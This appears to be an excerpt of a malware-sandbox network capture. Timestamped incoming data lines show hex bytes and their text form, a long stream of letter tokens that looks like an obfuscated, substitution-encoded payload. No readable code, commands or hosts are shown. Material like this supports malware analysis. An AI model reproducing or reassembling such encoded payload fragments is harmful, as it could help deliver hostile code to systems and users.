2021-10-29 18:30:02 UTC	1686	IN	Data Raw: 59 78 20 59 6f 20 4b 51 20 6b 51 20 6b 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 4f 6f 6f 20 6f 45 52 20 59 45 20 6f 78 20 45 6f 20 51 4b 20 4f 74 6f 20 4f 4f 74 20 4f 78 74 20 51 78 20 59 78 20 4b 6b 20 59 4f 20 45 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 52 45 20 52 4f 20 59 4b 20 6b 4f 20 4f 6f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 4b 4f 20 78 20 4b 6b 20 59 4b 20 52 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 78 6b 20 59 78 20 4b 6b 20 45 59 20 59 6f 20 4b 74 20 4f 4f 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 4b 51 20 51 59 20 45 52 20 59 59 20 6b 4b 20 4f 4f 52 20 4f 6f 74 20 4f 74 51 20 4f 4f 74 20 6f 78 20 45 6b 20 59 52 20 6f 45 6f 20 6b 4b 20 4f 4f 52 20 51 59 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 45 6f 20 59 78 Data Ascii: Yx Yo KQ kQ kE OOY OOt Oxt Ooo oER YE ox Eo QK Oto OOt Oxt Qx Yx Kk YO Ek kK OOK OOt OxQ OOo Yx RE RO YK kO OoY OOt OxQ OOE KO x Kk YK RR OOK OOt OxQ Oxk Yx Kk EY Yo Kt OOo OOt OxQ OOR KQ QY ER YY kK OOR Oot OtQ OOt ox Ek YR oEo kK OOR QY OxQ OOo YO Eo Yx
2021-10-29 18:30:02 UTC	1688	IN	Data Raw: 4f 78 51 20 4f 78 6f 20 59 78 20 4b 6b 20 59 78 20 4b 6f 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4f 20 4f 4f 20 4b 6b 20 4b 6b 20 59 78 20 59 78 20 6b 74 20 6f 51 20 4f 78 6f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 59 6b 20 6f 45 52 20 59 4f 20 4f 4f 4b 20 4f 78 78 20 4f 6f 74 20 4f 74 51 20 4f 4f 6f 20 59 6f 20 6f 52 20 59 78 20 59 4b 20 6b 59 20 51 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 74 20 51 4f 20 4f 4f 4b 20 4f 4f 6f 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 4b 4f 20 52 20 6b 52 20 4f 4f 4b 20 51 51 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 4b 20 59 78 20 59 4b 20 52 51 20 4f 4f 6f 20 4f 4b 20 4f 4f 4f 20 4f 4f 6f 20 59 78 20 59 6f 20 4b 51 20 6b 51 20 51 4b 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 4f 6f 6f 20 6f 45 52 20 Data Ascii: OxQ Oxo Yx Kk Yx Ko kK OOK Oxx OOO OO Kk Kk Yx Yx kt oQ Oxo Oxk OOo Yo Yk oER YO OOK Oxx Oot OtQ OOo Yo oR Yx YK kY Qk OOt OxQ OOo Yx Kk Yx Yt QO OOK OOo Qk OOo Yx KQ KO R kR OOK QQ OxQ OOo Yx KK Yx YK RQ OOo OK OOO OOo Yx Yo KQ kQ QK OOY OOt Oxt Ooo oER
2021-10-29 18:30:02 UTC	1689	IN	Data Raw: 4b 20 4f 4f 52 20 51 59 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 45 20 4f 6f 74 20 4f 4f 6f 20 52 6f 20 52 45 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 4f 78 20 4f 4f 6f 20 4b 6f 20 4b 6b 20 59 78 20 59 4b 20 74 51 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 4b 20 74 45 20 59 78 20 59 78 20 59 4b 20 6b 78 20 4f 4f 45 20 4f 4f 45 20 6f 20 4f 78 59 20 59 4f 20 4b 6b 20 59 6f 20 45 45 20 51 4b 20 4f 74 6f 20 4f 4f 6f 20 74 59 20 4f 78 6f 20 59 52 20 6f 45 6b 20 59 78 20 4b 6b 20 4f 6f 52 20 4f 4f 59 20 4f 78 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 52 51 20 51 51 20 4f 4f 74 20 4f 78 4b 20 4f 6f 74 20 59 78 20 4b 6b 20 59 4f 20 4f 6f 20 6b 52 20 4f 78 4f 20 6f 52 20 45 52 20 Data Ascii: K OOR QY Oxk QR Yx Kk Yx YK kK OOK OxE Oot OOo Ro RE Yx YK kY OxY RQ OOx OOo Ko Kk Yx YK tQ OOK OOt OoK OOK tE Yx Yx YK kx OOE OOE o OxY YO Kk Yo EE QK Oto OOo tY Oxo YR oEk Yx Kk OoR OOY OxO OxQ OOo Yx Kk Yx YK RQ QQ OOt OxK Oot Yx Kk YO Oo kR OxO oR ER
2021-10-29 18:30:02 UTC	1690	IN	Data Raw: 20 4f 4f 4f 20 51 6b 20 59 52 20 74 6b 20 59 59 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 20 4f 78 52 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 6f 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 52 51 20 4f 51 59 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 51 4b 20 4f 6f 74 20 4f 4f 20 4f 78 4f 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 4f 6b 51 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 6f 52 20 4f 4f 52 20 6f 59 20 59 6b 20 4f 6b 20 4f 51 78 20 74 4f 20 4f 4f 4b 20 4f 4f 74 20 52 51 20 6f 45 51 20 59 78 20 4b 6b 20 59 52 20 45 51 20 6b 78 20 4f 4f 52 20 4f 6f 59 20 4f 6f 74 20 4f 4f 59 20 51 45 20 4f 6b 59 20 59 78 20 59 4b 20 6b 6f 20 51 4b 20 4f 59 52 20 4f 78 78 20 51 51 20 59 59 20 45 4b 20 59 59 20 52 51 20 6f 4f 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 6b 6b 20 4f 4b Data Ascii: OOO Qk YR tk YY YK kK OOk OO OxR OOo Yx Yo oR ot kK OOK OOY RQ OQY YO Kk Yo EQ QK Oot OO OxO OOo Yx Yo oR OkQ kK OOK OOY OoR OOR oY Yk Ok OQx tO OOK OOt RQ oEQ Yx Kk YR EQ kx OOR OoY Oot OOY QE OkY Yx YK ko QK OYR Oxx QQ YY EK YY RQ oOR OOY OOt Oxt kk OK
2021-10-29 18:30:02 UTC	1692	IN	Data Raw: 20 4f 6b 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 45 78 20 4f 4f 4b 20 4b 6b 20 4b 6b 20 59 6f 20 52 78 20 74 59 20 4f 6f 59 20 6f 4b 6b 20 51 51 20 4f 4f 6f 20 59 78 20 59 78 20 6f 45 20 45 6f 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 59 45 20 4f 4f 6f 20 59 78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 45 74 20 45 52 20 6f 78 4b 20 4b 6b 20 4f 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 20 4b 6b 20 6f 4b 52 20 6b 74 20 4f 78 51 20 4f 6f 4f 20 4f 4b 6f 20 59 6f 20 4f 78 52 20 59 78 20 59 4b 20 6b 6f 20 4f 20 6f 4b 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4f 4b 52 20 6f 45 20 4b 74 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 59 4b 20 4f 4f 6f 20 59 78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f Data Ascii: Okk kK OOK OOY Ex OOK Kk Kk Yo Rx tY OoY oKk QQ OOo Yx Yx oE Eo RK OKx OOY YE OOo Yx YK RY OkE kK OOK OOY oxt kY Et ER oxK Kk OE OOK OOt Oxt E OtQ Kk Yx Kk oKR kt OxQ OoO OKo Yo OxR Yx YK ko O oKK OxQ OOo Yo OKR oE Kt RK OKx OOY YK OOo Yx YK RY OkE kK OO
2021-10-29 18:30:02 UTC	1693	IN	Data Raw: 20 6f 4b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 59 6f 20 6f 78 52 20 59 6f 20 59 78 20 6b 52 20 4f 4f 4b 20 4f 4f 59 20 45 78 20 6f 4f 45 20 59 78 20 4b 6b 20 59 52 20 45 78 20 52 6b 20 4f 4f 4b 20 4f 4f 74 20 74 78 20 6b 6b 20 45 59 20 4b 6b 20 59 78 20 6f 51 20 4f 6f 4b 20 6f 59 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 4b 20 6f 6f 20 4b 51 20 59 78 20 6b 4f 20 51 78 20 59 6b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 6f 52 20 59 78 20 59 4b 20 74 51 20 52 52 20 4f 4f 45 20 4f 78 51 20 59 74 20 59 4f 20 4b 6b 20 59 78 20 4b 4f 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 78 59 20 45 20 4f 51 78 20 4b 51 20 59 78 20 4b 6b 20 4f 4f 45 20 4f 20 6f 4f 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 51 59 20 51 45 20 59 59 20 6b 4b 20 4f 4f 52 20 6b 78 20 45 78 20 4f 78 59 Data Ascii: oKY OOt OxQ OOk Yo oxR Yo Yx kR OOK OOY Ex oOE Yx Kk YR Ex Rk OOK OOt tx kk EY Kk Yx oQ OoK oYx OOt OxQ OOk oK oo KQ Yx kO Qx Yk OxQ OOo Yo oR Yx YK tQ RR OOE OxQ Yt YO Kk Yx KO kK OOK Oxx OxY E OQx KQ Yx Kk OOE O oOx OxQ OOo YR QY QE YY kK OOR kx Ex OxY
2021-10-29 18:30:02 UTC	1694	IN	Data Raw: 51 20 4f 4f 45 20 59 78 20 4b 6b 20 59 78 20 4f 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 6f 4f 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 51 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 52 4f 20 4b 6b 20 59 78 20 59 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 4f 51 20 6b 59 20 4f 4f 4b 20 4f 4f 74 20 4b 4b 20 4f 4f 45 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6b 4f 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 4f 59 20 4b 51 20 59 78 20 59 4b 20 6f 6f 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 74 Data Ascii: Q OOE Yx Kk Yx Ok kK OOK OOR OxQ OOo Yx Kk oOR YK kK OOK OoR OxQ OOo Yx OQk Yx YK kK OOE OOt OxQ OOo RO Kk Yx YY kK OOK OOt OxQ OOo Yx Kk Yx OOQ kY OOK OOt KK OOE Yx Kk YO YK kK OOK kO OxQ OOo YO Kk Yx YK kK OOK OOt OxQ OOo OOY KQ Yx YK oo OOY OOt OxQ OOt
2021-10-29 18:30:02 UTC	1696	IN	Data Raw: 45 4b 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4f 51 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 4b 20 4f 45 51 20 59 59 20 6b 4b 20 4f 4f 52 20 4f 4f 45 20 52 51 20 4f 59 78 20 59 78 20 4b 6b 20 59 6f 20 45 78 20 6f 6f 74 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 78 20 45 45 20 78 20 52 6f 20 59 4b 20 4f 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 78 20 4b 6f 20 4f 4f 74 20 4f 4f 52 20 4f 78 51 20 4f 4f 52 20 45 4f 20 6f 78 20 45 52 20 6f 45 78 20 4f 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 6b 20 4f 45 6b 20 4b 6b 20 59 78 20 52 78 20 4f 45 6f 20 4f 6f 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 4f 45 52 20 59 78 20 59 4b 20 51 4b 20 51 78 20 6f 78 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 4b 20 4f 45 52 Data Ascii: EK Yx YK QK oQ OQK OxQ OOo YR oK OEQ YY kK OOR OOE RQ OYx Yx Kk Yo Ex oot OOY OOt Oxt Qx EE x Ro YK OQK OOK OOt OxQ OOo Yx Kk Yx Yx Ko OOt OOR OxQ OOR EO ox ER oEx Oo OOK OOt Oxk kk OEk Kk Yx Rx OEo OoR OOt OxQ OOK oR OER Yx YK QK Qx oxK OxQ OOo YR oK OER
2021-10-29 18:30:02 UTC	1697	IN	Data Raw: 6b 20 59 51 20 6f 6f 52 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 45 59 20 59 6f 20 51 45 20 6f 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 4f 4f 20 4f 4f 6b 20 51 45 20 4f 78 20 59 78 20 59 4b 20 6b 6f 20 6b 74 20 4f 78 51 20 51 4b 20 4f 6f 78 20 4b 6b 20 59 4f 20 59 4b 20 45 78 20 4f 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 4f 78 59 20 4f 20 59 4b 20 52 59 20 4f 59 74 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 45 20 51 78 20 59 78 20 4b 6b 20 59 4f 20 4b 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f 51 20 4f 78 51 20 51 74 20 59 78 20 4b 4b 20 45 4f 20 59 4b 20 51 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4b 6b 20 4b 6b 20 4f 4f 52 20 59 4b 20 74 6f 20 4f 52 20 4f 4f 74 20 51 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52 20 6b 52 20 51 78 20 4f 74 4f Data Ascii: k YQ ooR OOR OxQ OOk EY Yo QE oKx kK OOK Oot OOO OOk QE Ox Yx YK ko kt OxQ QK Oox Kk YO YK Ex Oo OOK OOt Oxt OxY O YK RY OYt kK OOK Oot oE Qx Yx Kk YO Ko kK OOK OOQ OxQ Qt Yx KK EO YK Qx OOK OOt OxQ OOo Kk Kk OOR YK to OR OOt QQ OOo Yx Kk Yx OtR kR Qx OtO
2021-10-29 18:30:02 UTC	1698	IN	Data Raw: 51 20 4f 6f 6f 20 59 6f 20 59 4f 20 51 45 20 6b 4f 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 52 51 20 4f 6f 59 20 59 78 20 4b 6b 20 59 6f 20 6b 51 20 4f 59 74 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 4f 4b 20 59 6f 20 51 59 20 74 20 59 4b 20 6b 4b 20 4f 4f 52 20 6b 78 20 4f 4f 74 20 52 74 20 59 6b 20 59 78 20 4b 51 20 59 78 20 4f 6f 4b 20 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 4b 45 20 45 20 59 6f 20 52 51 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 78 20 6f 4b 20 4f 4b 6f 20 4b 51 20 6b 51 20 74 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 6f 20 6f 78 20 59 78 20 4b 51 20 6b 51 20 59 59 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 6b 6b 20 4f 6b 51 20 4b 6b 20 59 78 20 4b 6b 20 59 51 20 4b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 45 20 4b 78 20 4f Data Ascii: Q Ooo Yo YO QE kO kY OOK OOY RQ OoY Yx Kk Yo kQ OYt OOK OOt OxE OOK Yo QY t YK kK OOR kx OOt Rt Yk Yx KQ Yx OoK Ok OOt OxQ OOk KE E Yo RQ oYY OOK OOt OxE Ox oK OKo KQ kQ t OOY OOt Oxt Qo ox Yx KQ kQ YY OOY OOt Oxt kk OkQ Kk Yx Kk YQ Kk OOt OxQ OOk oE Kx O
2021-10-29 18:30:02 UTC	1700	IN	Data Raw: 20 4b 6b 20 59 78 20 4b 6b 20 59 51 20 74 74 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 78 20 59 78 20 45 74 20 4f 6b 74 20 4f 6f 74 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 6b 59 20 45 52 20 52 74 20 4f 59 59 20 59 4b 20 6b 4b 20 4f 4f 52 20 6f 4f 59 20 52 51 20 6f 59 45 20 59 78 20 4b 6b 20 59 6f 20 6b 51 20 6f 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 6b 52 20 6f 4b 20 4b 6b 20 59 78 20 59 4b 20 74 4f 20 52 52 20 4f 4f 6f 20 4f 78 51 20 4f 51 6f 20 59 4f 20 4b 6b 20 59 78 20 4f 51 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4f 20 6b 6b 20 4f 6b 4b 20 4b 6b 20 59 78 20 4b 6b 20 45 51 20 4f 4f 51 20 4f 4f 51 20 4f 78 51 20 4f 4f 6b 20 59 52 20 4b 74 20 52 4f 20 4f 6b 74 20 51 78 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 6b 59 20 45 52 20 45 52 20 6f 78 4b 20 4b Data Ascii: Kk Yx Kk YQ tt OOt OxQ OOk ox Yx Et Okt Oot OOK OOt OOO kY ER Rt OYY YK kK OOR oOY RQ oYE Yx Kk Yo kQ oO OOK OOt Oxt kR oK Kk Yx YK tO RR OOo OxQ OQo YO Kk Yx OQ kK OOK Oxx OOO kk OkK Kk Yx Kk EQ OOQ OOQ OxQ OOk YR Kt RO Okt Qx OOK OOt OOO kY ER ER oxK K
2021-10-29 18:30:02 UTC	1701	IN	Data Raw: 4b 20 6b 4b 20 4f 4f 52 20 6f 4f 59 20 52 51 20 6f 4b 6b 20 59 78 20 4b 6b 20 59 6f 20 4b 6b 20 45 51 20 6f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 51 20 59 52 20 59 4f 20 59 4b 20 6b 78 20 51 78 20 6f 4b 78 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 59 4b 20 6f 78 4b 20 4b 6b 20 6b 6f 20 4f 4f 6f 20 4f 4f 74 20 4f 78 74 20 45 20 4f 59 4f 20 4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 51 6b 20 4f 4f 74 20 4f 78 51 20 51 4f 20 6f 52 20 45 45 20 59 78 20 59 4b 20 4f 6f 74 20 51 78 20 6f 4b 45 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 6f 4b 20 4f 6b 4f 20 59 4b 20 6b 4b 20 4f 4f 52 20 4f 4f 59 20 4f 4b 74 20 4f 4f 6b 20 59 45 20 59 78 20 59 78 20 4b 6b 20 45 51 20 6f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 45 6f 20 59 78 20 59 4b 20 4f 6f 74 20 51 78 20 Data Ascii: K kK OOR oOY RQ oKk Yx Kk Yo Kk EQ oOK OOt OxQ Ooo tQ YR YO YK kx Qx oKx OxQ OOo Yo YK oxK Kk ko OOo OOt Oxt E OYO Kk Yx Rx OoK Qk OOt OxQ QO oR EE Yx YK Oot Qx oKE OxQ OOo Yo oK OkO YK kK OOR OOY OKt OOk YE Yx Yx Kk EQ oOY OOt OxQ Ooo oR Eo Yx YK Oot Qx
2021-10-29 18:30:02 UTC	1702	IN	Data Raw: 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 6f 4f 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 51 74 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 6f 6f 20 4b 6b 20 59 78 20 59 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 59 4b 20 59 78 20 4b 6b 20 59 78 20 52 4f 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 59 59 20 4f 4f 6f 20 59 78 20 4b 6b 20 4b 51 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4b 74 20 4b 51 20 59 78 20 59 4b 20 74 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4b 6b 20 59 78 20 4f 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 78 51 20 4f 4f Data Ascii: xQ OOo Yx Kk oOR YK kK OOK OoR OxQ OOo Yx OQt Yx YK kK OOY OOt OxQ OOo oo Kk Yx YY kK OOK OOt OxQ OYK Yx Kk Yx RO kK OOK OOt OYY OOo Yx Kk KQ YK kK OOK Ooo OxQ OOo YO Kk Yx YK kK OOK OOt OxQ OOo Kt KQ Yx YK tE OOY OOt OxQ OOE Yx Kk Yx Ok kK OOK OOR OxQ OO
2021-10-29 18:30:02 UTC	1704	IN	Data Raw: 20 4f 4f 59 20 74 4f 20 6f 4b 52 20 59 4b 20 6f 4b 20 4f 45 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 6f 4f 51 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 6f 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 6f 78 4f 20 59 4f 20 4b 6b 20 59 6f 20 59 78 20 4f 6f 4b 20 4f 4b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 52 20 4f 45 59 20 59 4f 20 59 4b 20 6b 6f 20 6b 6b 20 4f 78 6f 20 51 45 20 4f 6f 4b 20 59 78 20 4f 52 52 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 74 6b 20 59 52 20 59 59 20 6b 4b 20 4f 4f 6b 20 6b 6b 20 74 45 20 4f 78 6f 20 6f 6f 52 20 4f 78 4b 20 59 78 20 59 4b 20 6b 59 20 51 78 20 6f 78 59 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 6f 4b 20 52 45 20 59 4b 20 6b 4b 20 4f 4f 6f 20 51 45 20 6f 4f 45 Data Ascii: OOY tO oKR YK oK OEY YK kK Oox oR oOQ OOo Yx Yk QE OoQ kK OOK Oot RQ oxO YO Kk Yo Yx OoK OKk OOt OxQ OOk oR OEY YO YK ko kk Oxo QE OoK Yx ORR Yx YK kK OOK OOt OxQ OOo YK tk YR YY kK OOk kk tE Oxo ooR OxK Yx YK kY Qx oxY OxQ OOo YR ooK RE YK kK OOo QE oOE
2021-10-29 18:30:02 UTC	1705	IN	Data Raw: 6f 52 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 6b 78 20 51 78 20 4f 4b 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51 59 20 4f 52 6f 20 59 59 20 6b 4b 20 4f 4f 52 20 4f 78 78 20 4f 78 59 20 45 4f 20 6f 4b 4b 20 4b 6b 20 59 78 20 52 78 20 6b 78 20 51 78 20 6f 78 4f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 59 4b 20 51 45 20 52 74 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 74 4f 20 4f 4f 6f 20 59 78 20 4b 51 20 4b 52 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 6f 20 4b 52 20 6f 51 20 59 78 20 59 52 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 4f 6b 20 59 78 20 4b 6f 20 59 4b 20 4f 4f 4b 20 4f 6f 45 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 4f 52 20 59 78 20 4f 6f 4b 20 6f 78 52 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 6f 52 20 Data Ascii: oR YO Kk Yo EQ kx Qx OKK OxQ OOo Yo QY ORo YY kK OOR Oxx OxY EO oKK Kk Yx Rx kx Qx oxO Oxk OOo Yo YK QE Rt kY OOK OOY tO OOo Yx KQ KR YK kK OOo OOt OoK OOo KR oQ Yx YR kK OOK OOt OxQ OOK Yx OOk Yx Ko YK OOK OoE OxQ OOo Yx Kk OOR Yx OoK oxR OOR OxQ OOk oR
2021-10-29 18:30:02 UTC	1706	IN	Data Raw: 4f 4f 59 20 51 45 20 6b 59 20 59 4f 20 59 4b 20 6b 6f 20 6f 51 20 6f 6f 59 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b 78 20 4f 51 4f 20 6f 51 20 6b 4b 20 4f 4f 4b 20 4f 4f 51 20 74 6f 20 4f 78 6f 20 52 59 20 4f 52 45 20 59 78 20 59 4b 20 6b 6f 20 6f 78 6b 20 6b 78 20 4f 6f 6f 20 4f 4f 6b 20 4f 4b 4b 20 6f 4b 20 4f 51 4f 20 59 4b 20 6b 4b 20 4f 4f 52 20 4f 6f 52 20 4f 78 52 20 4f 4f 59 20 51 45 20 6b 51 20 59 4f 20 59 4b 20 6b 6f 20 51 78 20 6f 4b 51 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51 59 20 6f 4b 6b 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 4f 45 20 52 51 20 6f 78 4b 20 59 4f 20 4b 6b 20 59 6f 20 4b 51 20 59 51 20 6f 4b 45 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 6f 4b 20 4f 52 52 20 4b 51 20 6b 51 20 59 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 6f 20 4b 52 20 Data Ascii: OOY QE kY YO YK ko oQ ooY OxQ OOo Yo Kx OQO oQ kK OOK OOQ to Oxo RY ORE Yx YK ko oxk kx Ooo OOk OKK oK OQO YK kK OOR OoR OxR OOY QE kQ YO YK ko Qx oKQ OxQ OOo Yo QY oKk YK kK Oox OOE RQ oxK YO Kk Yo KQ YQ oKE OOR OxQ OOk oK ORR KQ kQ YE OOY OOt Oxt Qo KR
2021-10-29 18:30:02 UTC	1710	IN	Data Raw: 20 59 51 20 51 59 20 6f 45 20 59 4b 20 6b 4b 20 4f 6f 78 20 6b 51 20 4f 78 4b 20 4f 78 45 20 45 45 20 59 4b 20 6f 59 20 52 45 20 74 78 20 4f 6f 6f 20 51 45 20 6b 6b 20 4f 4f 6f 20 59 78 20 59 6b 20 45 4f 20 6f 45 6f 20 4f 45 6b 20 4f 6f 4b 20 4f 78 45 20 4f 78 4f 20 4f 4b 6f 20 45 52 20 59 52 20 59 78 20 59 4b 20 74 51 20 6f 51 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 45 52 20 45 59 20 4b 6b 20 4f 4f 78 20 4f 74 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 45 45 20 59 59 20 52 51 20 4b 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 51 20 59 52 20 45 45 20 59 52 20 6b 51 20 4f 45 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 51 20 59 45 20 45 6b 20 45 45 20 52 4f 20 52 52 20 51 74 20 4f 6f 4f 20 74 78 20 59 74 20 45 59 20 59 51 20 45 4f 20 4f Data Ascii: YQ QY oE YK kK Oox kQ OxK OxE EE YK oY RE tx Ooo QE kk OOo Yx Yk EO oEo OEk OoK OxE OxO OKo ER YR Yx YK tQ oQ OoR OxQ OOo YR oER EY Kk OOx OtR OOt OxQ OOo Yx EE YY RQ Kk OOK OOt OxE QQ YR EE YR kQ OEY OOK OOt OxE QQ YE Ek EE RO RR Qt OoO tx Yt EY YQ EO O
